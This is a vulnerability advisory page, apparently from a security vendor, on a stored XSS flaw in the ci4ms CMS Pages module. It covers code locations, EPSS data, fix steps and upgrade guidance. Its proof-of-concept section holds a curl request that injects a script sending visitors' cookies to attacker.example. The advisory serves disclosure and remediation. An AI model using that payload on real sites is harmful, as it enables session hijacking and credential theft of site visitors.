Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-39392 — ci4-cms-erp/ci4ms

MEDIUM

CVE-2026-39392 is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.

CI4MS has Stored XSS in Pages Content Due to Missing html_purify Sanitization

Also known asGHSA-fjpj-6qcq-6pw2
Published
Apr 8, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39392.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-39392 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

modules/Blog/Controllers/Blog.php:82

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

The Pages module omits this rule in both create and update methods:

modules/Pages/Controllers/Pages.php:82 (create)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

modules/Pages/Controllers/Pages.php:130 (update)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

Content is stored directly without sanitization:

modules/Pages/Controllers/Pages.php:111 (create path)

'content' => $lData['content'],

modules/Pages/Controllers/Pages.php:157 (update path)

'content' => $lData['content'],

On the public frontend, the content is rendered as raw HTML without escaping:

app/Views/templates/default/pages.php:32

<?php echo $pageInfo->content ?>

Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.

The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

PoC

Step 1: Create a page with XSS payload (requires admin session)

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'

Step 2: Visit the page as any unauthenticated user

https://target/tr/test-xss-page

Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

Impact

  • Session hijacking: Attacker steals session cookies of any visitor, including other administrators
  • Credential theft: Injected JavaScript can render fake login forms or keylog credentials
  • Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
  • Malware distribution: Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

Recommended Fix

Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

modules/Pages/Controllers/Pages.php:82 — change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

to:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

modules/Pages/Controllers/Pages.php:130 — apply the same change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistci4-cms-erp/ci4msall versions0.31.4.0composer require ci4-cms-erp/ci4ms:^0.31.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39392 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39392 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-39392. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. ## Details The Blog module correctly applies HTMLPurifier sanitization to content fields: **`modules/Blog/Controllers/Blog.php:82`** ```php 'lang.*.con
O3 Security · Impact-Aware SCA

Is CVE-2026-39392 in your dependencies?

O3 Security finds CVE-2026-39392 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-39392: ci4-cms XSS (Medium 5.5) | O3 Security